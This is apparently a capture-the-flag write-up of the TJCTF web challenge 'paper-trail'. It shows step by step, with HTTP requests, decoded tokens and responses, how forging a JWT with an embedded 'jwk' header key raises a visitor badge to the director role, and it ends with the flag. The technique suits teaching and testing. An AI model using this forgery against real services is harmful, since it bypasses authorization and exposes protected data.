paper-trail
Details
| Field | Value |
|---|---|
| CTF | TJCTF |
| Challenge | paper-trail |
| Category | Web |
| Tags | First Blood |
| Target | https://paper-trail-417325820c409c46.tjc.tf |
| Flag | tjctf{7h47_is_4_nic3_k3yc4rd_y0u_g07_7h3r3} |
Summary
The app gives a visitor badge in an HttpOnly cookie called paper_badge. The /drawer route checks that badge and then checks the role claim. The issue was that the backend accepted a public RSA key inside the JWT header with jwk. So i modified the token, added a matching public key in the header, re-signed it, and changed the role to director.

1. Getting a visitor badge
First i checked in normally and captured the redirect in Burp. The important part is the Set-Cookie header, because the badge is a signed RS256 JWT.
POST /check-in HTTP/2
Host: paper-trail-417325820c409c46.tjc.tf
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
name=Analyst
HTTP/2 302 Found
Location: /
Server: Werkzeug/3.1.8 Python/3.12.13
Set-Cookie: paper_badge=<visitor JWT>; HttpOnly; Path=/; SameSite=Lax
Content-Length: 189
Burp decoded the badge like this.
{
"alg": "RS256",
"kid": "front-desk-2026",
"typ": "JWT"
}
{
"iss": "paper-trail-office",
"aud": "paper-trail-visitors",
"sub": "832b3672b7fa4ff9",
"name": "Analyst",
"role": "visitor",
"iat": 1778951142,
"nbf": 1778951142,
"exp": 1778954742
}

2. Confirming the role check
Using the original visitor badge against /drawer gives a normal authorization fail. That told me the token was valid, but the role was not enough.
GET /drawer HTTP/2
Host: paper-trail-417325820c409c46.tjc.tf
Cookie: paper_badge=<original visitor JWT>
HTTP/2 403 Forbidden
Content-Type: text/html; charset=utf-8
Server: Werkzeug/3.1.8 Python/3.12.13
<p class="denied">The clerk slides the badge back. The drawer stays shut.</p>

3. Key discovery
The public JWKS endpoint shows the real front-desk key, but it was not directly useful for signing my own token because i only had the public part.
GET /.well-known/jwks.json HTTP/2
Host: paper-trail-417325820c409c46.tjc.tf
HTTP/2 200 OK
Content-Type: application/json
Server: Werkzeug/3.1.8 Python/3.12.13
{
"keys": [{
"alg": "RS256",
"e": "AQAB",
"kid": "front-desk-2026",
"kty": "RSA",
"n": "mkK8mAn8bkTTK5kd41essAtd2RPsaT8R4IWXUD...ViYW_DQ",
"use": "sig"
}]
}

4. Finding the actual bug
I first tried the obvious alg=none path, but the server rejected it, so signature verification was active.
GET /drawer HTTP/2
Host: paper-trail-417325820c409c46.tjc.tf
Cookie: paper_badge=<alg none token>
HTTP/2 401 Unauthorized
Content-Type: text/html; charset=utf-8
Server: Werkzeug/3.1.8 Python/3.12.13
<p class="denied">The badge reader rejected that badge.</p>
Then i modified the token by putting a public RSA key in the header as jwk, and signed it with the matching private key. With role staff, the response changed back to 403. That was the useful part, because the signature was accepted but the role still was not enough.
GET /drawer HTTP/2
Host: paper-trail-417325820c409c46.tjc.tf
Cookie: paper_badge=<RS256 token signed with my key, header contains jwk, role=staff>
HTTP/2 403 Forbidden
Content-Type: text/html; charset=utf-8
Server: Werkzeug/3.1.8 Python/3.12.13
<p class="denied">The clerk slides the badge back. The drawer stays shut.</p>
The modified token header looked like this.
{
"alg": "RS256",
"jwk": {
"alg": "RS256",
"e": "AQAB",
"kid": "front-desk-2026",
"kty": "RSA",
"n": "<my RSA modulus>",
"use": "sig"
},
"kid": "front-desk-2026",
"typ": "JWT"
}
5. Exploit
For the final token, i kept the same embedded jwk, changed the payload role to director, and re-signed the modified badge.
{
"iss": "paper-trail-office",
"aud": "paper-trail-visitors",
"sub": "832b3672b7fa4ff9",
"name": "Analyst",
"role": "director",
"iat": 1778951154,
"nbf": 1778951154,
"exp": 1778954754
}
GET /drawer HTTP/2
Host: paper-trail-417325820c409c46.tjc.tf
Cookie: paper_badge=<RS256 token signed with my key, header contains jwk, role=director>
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Server: Werkzeug/3.1.8 Python/3.12.13
<p class="label">receipt</p>
<code class="flag">tjctf{7h47_is_4_nic3_k3yc4rd_y0u_g07_7h3r3}</code>
